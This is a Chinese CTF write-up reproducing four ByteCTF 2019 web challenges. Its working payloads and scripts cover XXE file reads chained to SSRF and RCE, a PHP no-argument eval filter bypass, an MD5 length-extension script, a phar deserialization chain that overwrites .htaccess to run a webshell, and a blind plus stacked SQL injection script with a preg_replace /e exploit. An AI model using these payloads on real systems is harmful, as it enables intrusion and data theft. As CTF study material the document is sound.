byteCTF2019 web 复现

九月初的比赛,当时划水了一天半,第二天后面才做了一道题

rss

这题莫得靶机只能列下知识点

这题是一个解析RSS的题,限制只支持aliyun.com、qq.com、baidu.com。不过由于php是不检查MIME头的,所以可以使用data://baidu.com/plain;base64,这样去绕过对host的限制,然后后面跟上base64后的RSS文档就行

没用过RSS,但看到RSS的标准文档后,这东西是一种xml,也就是说有可能存在XXE

于是向头部添加一个内部实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0">

<channel>
<title>菜鸟教程首页</title>
<link>http://www.runoob.com</link>
<description>免费编程教程</description>
<item>
<title>RSS 教程</title>
<link>http://www.runoob.com/rss</link>
<description>菜鸟教程 Rss 教程</description>
</item>
<item>
<title>XML 教程</title>
<link>http://www.runoob.com/xml</link>
<description>菜鸟教程 XML 教程</description>
</item>
</channel>

</rss>

base64后提交,成功读到/etc/passwd

接着用伪协议去读一下源码

php://filter/read=convert.base64-encode/resource=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}

index.php中引入了routes.php,同时有classes和controllers这两个目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

Route::set('index.php',function(){
Index::createView('Index');
});

Route::set('index',function(){
Index::createView('Index');
});

Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});

Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

route.php中可以看到有一个接收rss_url和order参数的控制器admin,但需要本地访问,也就是要ssrf

1
2
3
4
5
6
7
8
9
<?php

class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}

controllers/admin.php访问url并解析xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php

if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

views/admin.php主要看到这里

1
2
3
4
5
6
7
8
<?php 
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>

这里用了create_function(),同时$order可控,直接RCE就是了

由于要求127.0.0.1,那就用XXE让服务器访问自己。rss_url填个能用的,order命令注入就完事了

payload

1
2
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >

boring_code

这题当时是队友分析的,后半天fuzz好久才找到一个能用的payload

进入题目就是一个猛男对视,F12提示flag在index.php里,同时有个code目录,于是进入code得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

echo $_POST['url'];
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/localhost$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

通过传入的url去读取其目录下的文件,然后执行文件中的内容。逻辑简单但有四层过滤

第一、二层限制了只能使用baidu.com作为host的链接,如果没有第一层的话是可以通过data://baidu.com/plain;base64, 这样去绕过的,但被限制了。这里绕过的方式有几种,最简单的就是氪金买域名(队里的大佬tfl),或者通过百度的url跳转(百度一下后去看看链接的href就是了),或者百度云
第三层的正则限制了只能左右括号要匹配,同时无参。本来一开始以为是只能像a(b(c()))这种,但后面发现像a(b())c()这样也是可以的
第四层就是过滤了一堆函数

当时整出基本思路就是,先整出一个.,然后用scandir()扫目录,接着用end()取到index.php,最后readfile()输出。问题就是在怎么搞出.,一开始想着构造chr(46),但弄了很久搞不出46(主要是strlen()被过滤了)

于是另寻它路,当时不知道怎么fuzz的发现"也是可以让scandir()扫该目录下的文件。然后翻手册中的函数尝试
函数和方法列表
fuzz了很久发现,bzcompress()可以输出各种符号,于是进行多次尝试后,成功得到bzcompress(serialize(array(array(abs()))))
这个输出的字符串最后一位是",用strrev()逆序再用ord()获得第一个字符的ascii码,chr()转回来就获得了单个",当时给出的payload是
readfile(end(scandir(chr(ord(strrev(bzcompress(serialize(array(array(abs()))))))))));
bzcompress()需要扩展,这个题目环境并没有,只能找其它方法了

接着尝试了一下crypto(),发现这个函数是有挺高的几率尾部是.的。于是一波
readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
但这时队友提示这里还只是再code目录下,要回到上级目录才能读到

于是就尝试了一下if()回到上级目录,也就是这里才发现那个正则是a(b())c()这样匹配的
用同样的方法扫目录,然后next()读到..chdir()去到上级目录,于是最终的payload就是
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
由于要读两回,几率小了一些

没买域名就改成了localhost

EzCMS

登录进去,可以看到目录下有个.htaccess,传个图片试试,提示需要admin

于是用admin作为用户名登录进去,但上传还是提示非admin。于是搜集一下信息发现www.zip给了源码,读一波

index.php中限制了psw不能为admin

1
2
3
if ($password === "admin"){
die("u r not admin !!!");
}

然后去看一下config.php中的login()

1
2
3
4
5
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}

基本确定这里要哈希扩展了

然后沿着upload.php读,读到Profile类

1
2
3
4
5
6
7
8
9
10
11
12
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;

}

这里要求与哈希后的值相等,那就哈希扩展一波

不知长度于是写一波脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
import requests
import base64
import my_md5
import time

def md5_attack(samplehash, num, msg1, msg2):
s1=eval('0x'+samplehash[:8].decode('hex')[::-1].encode('hex'))
s2=eval('0x'+samplehash[8:16].decode('hex')[::-1].encode('hex'))
s3=eval('0x'+samplehash[16:24].decode('hex')[::-1].encode('hex'))
s4=eval('0x'+samplehash[24:32].decode('hex')[::-1].encode('hex'))

secret = "a"*num
length = num + len(msg1)
test=secret+msg1+'\x80'+'\x00'*((512-length*8-8-8*8)/8)+chr(length*8)+'\x00\x00\x00\x00\x00\x00\x00'+msg2
s = my_md5.deal_rawInputMsg(test)
r = my_md5.deal_rawInputMsg(secret+msg1)
inp = s[len(r):]

res = {'str':test[num:], 'hash':my_md5.run_md5(s1,s2,s3,s4,inp)}
return res



url = "http://fc4183f4-3d2c-4251-86f0-a6ad94130f54.node3.buuoj.cn"
upload = "http://fc4183f4-3d2c-4251-86f0-a6ad94130f54.node3.buuoj.cn/upload.php"
for i in range(20):
res = md5_attack("52107b08c0f3342d2153ae1d68e6262c",i,'adminadmin','admin')
user_psw = res['str']
data = {
'username':'admin',
'password':user_psw[5:],
'login':"提交"
}
cookies = {
'PHPSESSID':'cf8e7d852e9d67dedc3dbec6f4860088',
'user':res['hash']
}
r = requests.post(url = url, data = data, cookies = cookies)

test = b"""test
# """
files = [('file',('1.jpg',test,'image/jpeg'))]
data = {"upload":"提交"}
r = requests.post(url = upload, data = data, files = files, cookies = cookies)

if 'u r not admin' not in r.text:
print r.text
break
print i
print res['hash']

这里真的整傻我了,怎么跑都跑不出来还以为是之前哈希扩展的脚本有问题,后面才发现比较的是cookie中的user,巨坑

能上传后,直接传一句话然而有check

1
2
3
4
5
6
7
8
9
10
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}

由于是php7,于是可以用复杂变量绕

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);

不过传成功后访问显示500,八成是那个.htaccess在搞鬼,导致这个目录下php执行不了。那只能想办法在其他目录下执行,或者把这个.htaccess重写或删掉。由于不知道临时目录在哪,也没有能目录穿越的地方,只能想办法重写或删掉.htaccess

翻一下config.php,可以看到File类中过滤了phar等一系列协议,同时使用了mine_content_type(),在SUCTF中也说过,想

1
2
3
4
5
6
7
8
9
10
11
12
public function view_detail(){

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}

在SUCTF中也出现过类似的过滤,可以使用php://filter/resource=phar来绕过,而且像mine_content_type()这种要读取文件的方法大概率都可以用来phar的反序列化,猜测这题是要利用phar反序列化了

接着找一下哪里使用了File类,在view.php中找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

上传再用这里访问就没问题了,于是找链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Profile{

public $username;
public $password;
public $admin;

public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;

}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}

看Profile发现,__call()中调用了admin的open(),而config.php中只有File类有open(),但File类并没有用到Profile类。那这个“没用”的admin可能是给我们用来反序列化的,于是去内置类中查查看有没有能利用的类有open()

fuzz一下发现这几个类

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a=get_declared_classes();
foreach($a as $class){
$arr_func=get_class_methods($class);
if(in_array('open',$arr_func)){
echo $class.'<br>';
}
}

SessionHandler
ZipArchive
XMLReader
SQLite3

接着去翻一下手册看看

ZipArchive类的open()可以传入两个参数,第二个参数为打开的模式,当模式为ZIPARCHIVE::OVERWRITE时会覆盖掉文件

那就是要想办法调用到Profile类的__call()
回到File类,看到__destruct()

1
2
3
4
5
6
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}

这里调用了checker的upload_file(),而Profile类中没有upload_file(),也就是将checker设置为Profile类就可以调用到__call()

于是构造反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class File{

public $filename;
public $filepath;
public $checker;

function __construct()
{
$this->checker = new Profile();
}
}

class Profile{
public $username;
public $password;
public $admin;

function __construct(){
$this->username = "/var/www/html/sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
$this->admin = new ZipArchive();
}
}

$phar = new Phar('file.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$file = new File();
$phar->setMetadata($file);
$phar->addFromString("1.txt", "test");
$phar->stopBuffering();

执行得到phar文件后上传,在view.php访问
?filename=c45de65f3d56f100e72db6efa4298d62.phar&filepath=php://filter/resource=phar://sandbox/2c67ca1eaeadbdc1868d67003072b481/c45de65f3d56f100e72db6efa4298d62.phar

再访问一下测试的php

执行成功,之后如果再次返回upload.php的话,需要重新重写一次.htaccess

接着访问之前写好了的php
?a=system&b=cd ../../../../../../;ls

?a=system&b=cat /flag

babyblog

注册有一个md5截断,脚本跑一波

进去有发布、编辑、删除、查看四个界面,感觉像是sql注入但是被单引被过滤了。搞了很久没什么想法扫一下发现给了源码www.zip

直接看writing.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("config.php");

if(!isset($_SESSION['id'])){
header("Location: login.php");
exit();
}

if(isset($_POST['title']) && isset($_POST['content'])){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
include("templates/writing.html");
exit();
}

这里对title和content都进行了addslashes()转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("config.php");

if(!isset($_SESSION['id'])){
header("Location: login.php");
exit();
}

$article = array();
foreach($sql->query("select * from article where userid=".$_SESSION['id'].";") as $row){
array_unshift($article, $row);
}

include("templates/index.html");

index.php用的是session中的id,基本是利用不了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("config.php");

if(!isset($_SESSION['id'])){
header("Location: login.php");
exit();
}

if(isset($_GET['id'])){
foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$sql->query("delete from article where id=" . intval($_GET['id']) . ";");
exit("<script>alert('Deleted successfully.');history.go(-1);</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}

delete.php将传入的id进行了intval(),也无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include("config.php");

if(!isset($_SESSION['id'])){
header("Location: login.php");
exit();
}

if(isset($_GET['id'])){
foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
include("templates/edit.html");
exit();
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}

if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}

不过在edit.php可以看到,虽然对传入title和content进行了addslashes()转义,但是通过sql查询得到的row中的数据并没用转义。尽管之前进行过addslashes()转义,但只是在sql执行时对特殊字符前加一个\防止当作关键字使用,存入数据库的依旧是原本传入的数据。而这里取出时没转义,那就可以利用这里进行注入

不过就算有注入点,在config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
session_start();

$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'CTF2019', '*************') or die("SQL Server Down T.T");

function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}
}else{
SafeFilter($arr[$key]);
}
}
}

$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);

可以看到过滤了一大堆字符

看源码可以知道回显和报错是不可能了,于是考虑一下时间盲注。但是sleep和benchmark都被过滤了,不过查一下可以查到一些神奇的时间盲注方式
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)
这里直接用了里面的rlike注入,这个是依靠大量字符的正则匹配,让数据库无法立即响应导致延时,但我本地怎么测试都是一瞬间就完成的,不过拿到这题上却可以Orz
然后测试了一下select a from b是不行的,但select(a) from b可以,于是payload就是

1
2
1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)=38,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0
1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),1,1))=63,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# -*- coding:utf8 -*-  
import requests
import re
import time

w_url = r'http://aba94093-f182-4f37-9cae-548220b330fb.node3.buuoj.cn/writing.php'
e_url = r'http://aba94093-f182-4f37-9cae-548220b330fb.node3.buuoj.cn/edit.php'
cookie = {'PHPSESSID':'f27ec7d983efa78414a65ba23094d94a'}

l1 = 0
r1 = 100

p = 2

while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)="+str(mid1)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
print payload
data = {
'content':'aaa',
'title':payload
}
http = requests.post(w_url,data=data,cookies=cookie)
data = {
'id':p,
'content':'aaa',
'title':'xxx'
}
p = p+1
try:
http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
except requests.exceptions.Timeout:
break
time.sleep(1)
payload = "1' || if((select(length(concat_ws(',',username,password,isvip))) from users limit 1)>"+str(mid1)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
print payload
data = {
'content':'aaa',
'title':payload
}
http = requests.post(w_url,data=data,cookies=cookie)
data = {
'id':p,
'content':'aaa',
'title':'xxx'
}
p = p+1
try:
http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
r1 = mid1 - 1
except requests.exceptions.Timeout:
l1 = mid1 + 1
time.sleep(1)

print
print str(mid1)

res = ''
mid1 = 13
for j in range(mid1):
l2 = 0
r2 = 127
while(l2<=r2):
mid2 = (l2 + r2)/2
payload ="1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),"+str(j+1)+",1))="+str(mid2)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
print payload
data = {
'content':'aaa',
'title':payload
}
http = requests.post(w_url,data=data,cookies=cookie)
data = {
'id':p,
'content':'aaa',
'title':'xxx'
}
p = p+1
try:
http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
except requests.exceptions.Timeout:
break
time.sleep(1)
payload ="1' || if(ascii(substr((select(concat_ws(',',username,password,isvip)) from users limit 1),"+str(j+1)+",1))>"+str(mid2)+",concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+b',1) || '1'='0"
print payload
data = {
'content':'aaa',
'title':payload
}
http = requests.post(w_url,data=data,cookies=cookie)
data = {
'id':p,
'content':'aaa',
'title':'xxx'
}
p = p+1
try:
http = requests.post(e_url,data=data,cookies=cookie,timeout=3)
r2 = mid2 - 1
except requests.exceptions.Timeout:
l2 = mid2 + 1
time.sleep(1)
res = res + chr(mid2)
print res

一开始还zz地去爆库表,后来突然想到源码里都给了表名了,白白浪费了一堆时间
不过跑出来的结果是只有我的账号???这要咋整?

于是继续搜集信息,发现还有一个replace页面,仅允许vip访问,于是看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include("config.php");

if(!isset($_SESSION['id'])){
header("Location: login.php");
exit();
}

foreach($sql->query("select isvip from users where id=" . $_SESSION['id'] . ";") as $v){
$row = $v;
}
if($row['isvip'] == 1){
if(isset($_GET['id'])){
foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
include("templates/replace.html");
exit();
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}

if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
if(isset($_POST['regex']) && $_POST['regex'] == '1'){
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
$sql->query("update article set content='$content' where id=" . $row['id'] . ";");
exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
}else{
$content = addslashes(str_replace($_POST['find'], $_POST['replace'], $row['content']));
$sql->query("update article set content='$content' where id=" . $row['id'] . ";");
exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
}
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}
}else{
exit("<script>alert('You are not VIP so you cannot use this function.');history.go(-1);</script>");
}

这里判断数据库中存的vip是否为1,明显我的账号不是1。只能想办法整成1

这里要用到之前没注意过的一个点,在config.php中可以看到使用了PDO连接数据库。PDO在php5.3后支持多语句查询,这是能够堆叠注入的基础。而看源码可以知道所有的sql查询都是直接拼接入sql语句中的,导致PDO的预编译没起效果,因此可以使用堆叠注入

由于set前存在闭合的引号会被过滤,不能直接update,这里要用点小技巧。mysql支持预处理语句,预处理语句起着防止源码泄露后导致数据库结构的作用。预处理的主要用到三个语句

1
2
3
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;

PREPARE用于设定好语句放入stmt_nameEXCUTE对应赋值并执行stmt_name,最后一个语句是用来解除掉预处理的,也就是如果解除掉stmt_name的预处理的话,用EXCUTE去执行就会报错

要使用预处理,就要用preparable_stmtstmt_name赋值,preparable_stmt可以直接是一个字符串,也可以是一个变量。而mysql中可以通过set @来设置一个临时变量,而mysql是在语句中可以解析16进制的,于是我们可以将语句转为16进制后赋给一个变量,然后放入预处理中执行
于是payload就是
';set @sql=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2761616161273b;prepare a from @sql;execute a;#

获得vip权限后读replace.php

1
2
3
4
5
6
7
if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
if(isset($_POST['regex']) && $_POST['regex'] == '1'){
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

可以看到里面使用了preg_replace(),这里直接拼接的参数都是可控的,那我们就可以控制为使得正则表达式为//e以达到命令执行(需要php版本<5.6),这里还要用%00截断(需要php版本<5.3.4)一下后面的/
于是尝试去获得phpinfo

id=2&find=%2Fe%00&replace=phpinfo();&regex=1

